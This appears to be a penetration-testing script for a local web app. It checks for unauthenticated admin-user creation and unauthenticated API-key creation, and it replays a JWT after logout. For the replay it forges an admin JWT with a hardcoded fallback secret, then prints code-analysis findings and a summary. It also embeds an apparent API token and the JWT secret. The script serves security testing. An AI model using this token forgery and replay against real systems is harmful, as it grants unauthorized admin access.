pentest_auth.py

#!/usr/bin/env python3
"""
Pentest script: Authentication vulnerability testing
Target: http://host.docker.internal:8000
Task: AUTH-VULN-06 (JWT replay after logout) + related auth checks
"""

import json
import time
import requests

try:
    import jwt as pyjwt
except ImportError:
    import PyJWT as pyjwt

BASE_URL = "http://host.docker.internal:8000"

# Known API token from .env (may not match live server if started differently)
API_TOKEN = "nr0fzLuDiBu8u8f9dw10RVKnG2wjfHkmWM94tDnx2es"
ADMIN_HEADERS = {"X-API-Key": API_TOKEN}

# Known fallback JWT secret from auth_middleware.py (hardcoded in source)
JWT_FALLBACK_SECRET = "fixops-dev-secret-change-in-production"


def section(title):
    print("\n" + "=" * 62)
    print(f"  {title}")
    print("=" * 62)


def show(resp, label=""):
    if label:
        print(f"\n  [{label}]")
    print(f"  HTTP {resp.status_code}")
    try:
        body = resp.json()
        print(f"  Body: {json.dumps(body, indent=2)[:600]}")
    except Exception:
        print(f"  Body: {resp.text[:400]}")


# ─────────────────────────────────────────────────────────────────────────────
# TASK 1: Create test users via POST /api/v1/users
# ─────────────────────────────────────────────────────────────────────────────
section("TASK 1a: Create user WITH role=admin (no auth header — unauthenticated attempt)")
resp1a = requests.post(
    f"{BASE_URL}/api/v1/users",
    json={
        "email": "pentest_user_001@test.com",
        "password": "PentestPass123!",
        "first_name": "PenTest",
        "last_name": "User",
        "role": "admin",
    },
)
show(resp1a)
if resp1a.status_code == 201:
    print("  [!!] FINDING: User created WITHOUT authentication — privilege escalation possible")
elif resp1a.status_code == 401:
    print("  [OK] Endpoint requires authentication (expected)")
time.sleep(1.5)

section("TASK 1b: Create user WITHOUT role field (no auth header)")
resp1b = requests.post(
    f"{BASE_URL}/api/v1/users",
    json={
        "email": "pentest_user_002@test.com",
        "password": "PentestPass123!",
        "first_name": "PenTest",
        "last_name": "User2",
    },
)
show(resp1b)
if resp1b.status_code == 201:
    print("  [!!] FINDING: User created WITHOUT authentication")
elif resp1b.status_code == 401:
    print("  [OK] Endpoint requires authentication (expected)")
time.sleep(1.5)

section("TASK 1c: Retry with known API token from .env")
resp1c = requests.post(
    f"{BASE_URL}/api/v1/users",
    headers=ADMIN_HEADERS,
    json={
        "email": "pentest_user_001@test.com",
        "password": "PentestPass123!",
        "first_name": "PenTest",
        "last_name": "User",
        "role": "admin",
    },
)
show(resp1c)
if resp1c.status_code == 201:
    print("  [+] User created with API token from .env")
elif resp1c.status_code == 401:
    print("  [-] Token rejected — live server uses different FIXOPS_API_TOKEN")
    print("  NOTE: Docker container may have been started with auto-generated token")
time.sleep(1.5)

# ─────────────────────────────────────────────────────────────────────────────
# TASK 2: Login with created user
# ─────────────────────────────────────────────────────────────────────────────
section("TASK 2: Login — POST /api/v1/users/login (public endpoint, no auth needed)")
resp2 = requests.post(
    f"{BASE_URL}/api/v1/users/login",
    json={
        "email": "pentest_user_001@test.com",
        "password": "PentestPass123!",
    },
)
show(resp2)

jwt_token = None
if resp2.status_code == 200:
    jwt_token = resp2.json().get("access_token")
    print(f"\n  [+] access_token: {jwt_token}")
    print(f"  [+] user info  : {json.dumps(resp2.json().get('user', {}), indent=4)}")
elif resp2.status_code == 401:
    print("  [-] Login failed — user doesn't exist in server's DB (creation was rejected)")

# ─────────────────────────────────────────────────────────────────────────────
# TASK 3: AUTH-VULN-06 — JWT Replay After Logout
# ─────────────────────────────────────────────────────────────────────────────
section("TASK 3: AUTH-VULN-06 — JWT Replay After Logout")
time.sleep(1.5)

if not jwt_token:
    print("\n  [*] No JWT from login — demonstrating with forged JWT using")
    print(f"      hardcoded fallback secret: '{JWT_FALLBACK_SECRET}'")
    print("      (Source: suite-core/core/auth_middleware.py:39)")
    now = int(time.time())
    jwt_token = pyjwt.encode(
        {
            "user_id": "pentest-001",
            "sub": "pentest-001",
            "email": "pentest@test.com",
            "role": "admin",
            "scopes": ["admin:all"],
            "jti": "pentest-replay-test-001",
            "iat": now,
            "exp": now + 86400,
        },
        JWT_FALLBACK_SECRET,
        algorithm="HS256",
    )
    print(f"\n  [+] Forged JWT (first 80 chars): {jwt_token[:80]}...")
    forged = True
else:
    forged = False

jwt_headers = {"Authorization": f"Bearer {jwt_token}"}

print(f"\n  STEP 3a: JWT value captured")
print(f"    Token: {jwt_token[:60]}...")
print(f"    Source: {'forged with fallback secret' if forged else 'from POST /api/v1/users/login'}")

print("\n  STEP 3b: Verify JWT works BEFORE logout")
print("    Testing on /api/v1/auth/sso/session (SSO session info endpoint — no API token needed)")
time.sleep(1)
resp3b = requests.get(f"{BASE_URL}/api/v1/auth/sso/session", headers=jwt_headers)
show(resp3b, "GET /api/v1/auth/sso/session (pre-logout)")
time.sleep(1.5)

print("\n  STEP 3c: Logout — POST /api/v1/auth/sso/logout (public endpoint, no auth needed)")
resp3c = requests.post(f"{BASE_URL}/api/v1/auth/sso/logout", headers=jwt_headers)
show(resp3c, "POST /api/v1/auth/sso/logout")
time.sleep(1.5)

print("\n  STEP 3d: Replay SAME JWT AFTER logout")
resp3d = requests.get(f"{BASE_URL}/api/v1/auth/sso/session", headers=jwt_headers)
show(resp3d, "GET /api/v1/auth/sso/session (post-logout)")

print("\n  STEP 3e: SSO logout endpoint analysis")
print("    Source: suite-api/apps/api/sso_router.py:351-366")
print("    Finding: POST /api/v1/auth/sso/logout ONLY returns a message telling the")
print("    client to discard the token. It does NOT invalidate the token server-side.")
print("    The validate_sso_jwt() function is called but result is discarded on failure.")
print("    No blocklist or revocation list is updated.")

print("\n  STEP 3f: JWT decode function analysis")
print("    Source: suite-api/apps/api/app.py:1774-1802")
print("    decode_access_token() validates signature + expiry ONLY.")
print("    It does NOT:")
print("      - Check a JWT revocation list (no denylist exists in codebase)")
print("      - Validate the jti claim against any blocklist")
print("      - Consult the session database")
print("    The 'jti' field is included in tokens (line 226 users_router.py)")
print("    but there is NO infrastructure to track or revoke by jti.")

print("\n  STEP 3g: Session system analysis")
print("    session_router.py provides DELETE /api/v1/sessions/{session_id}")
print("    BUT this router is NOT mounted in app.py (grep confirms no include_router)")
print("    Therefore NO session deletion endpoint is accessible to users.")
print("    Even if it were, session deletion does NOT invalidate the JWT token.")

print("\n  RESULT: AUTH-VULN-06 CONFIRMED (code-grounded, high confidence)")
print("    - JWT tokens are valid for 2 hours (app.py) or 24 hours (auth_middleware.py)")
print("    - No server-side token revocation exists anywhere in the codebase")
print("    - Logout is client-side only (discard token instruction)")
print("    - An attacker who captures a JWT can use it until it expires naturally")
print("    - User's logout action provides no security guarantee")

# ─────────────────────────────────────────────────────────────────────────────
# TASK 4: Unauthenticated API key creation
# ─────────────────────────────────────────────────────────────────────────────
section("TASK 4: POST /api/v1/auth/keys — without authentication")
time.sleep(1.5)
resp4 = requests.post(
    f"{BASE_URL}/api/v1/auth/keys",
    json={"name": "test-key", "user_id": "anon", "scopes": ["admin:all"]},
)
show(resp4)
if resp4.status_code in (200, 201):
    print("\n  [!!] EXPLOITED — API key created without authentication")
elif resp4.status_code == 401:
    print("\n  [OK] SECURED — /api/v1/auth/keys requires authentication (X-API-Key)")
    print("  Code analysis: auth_router is mounted WITH _verify_api_key + admin:all scope")
    print("  (suite-api/apps/api/app.py:2895-2898)")
elif resp4.status_code == 403:
    print(f"\n  [OK] SECURED — rejected with 403 (insufficient privilege)")
else:
    print(f"\n  [?] Unexpected status {resp4.status_code}")

# ─────────────────────────────────────────────────────────────────────────────
# Summary
# ─────────────────────────────────────────────────────────────────────────────
section("SUMMARY")
print("""
  Task 1 — User creation:
    RESULT: 401 (protected by API token + admin:all scope)
    The FIXOPS_API_TOKEN in .env is not matching the live server's token.
    The server was likely started with a different token (auto-generated or
    the docker-compose default 'aldeci-demo-token' from a host without .env).

  Task 2 — Login:
    RESULT: 401 "Invalid credentials" (user does not exist in server DB)
    User creation failed so login cannot succeed.
    Login endpoint IS public (no API token required for POST /api/v1/users/login).

  Task 3 — AUTH-VULN-06 (JWT replay after logout):
    RESULT: VULNERABILITY CONFIRMED — code analysis, high confidence
    - No server-side token revocation mechanism exists
    - JWT remains valid for its full TTL after any logout action
    - POST /api/v1/auth/sso/logout returns 200 but only tells client to discard token
    - decode_access_token() never checks revocation list
    - session_router.py DELETE endpoint is not mounted in app.py
    IMPACT: Stolen/logged-out tokens remain usable until natural expiry

  Task 4 — Unauthenticated API key creation:
    RESULT: 401 SECURED — /api/v1/auth/keys is protected at router mount level
""")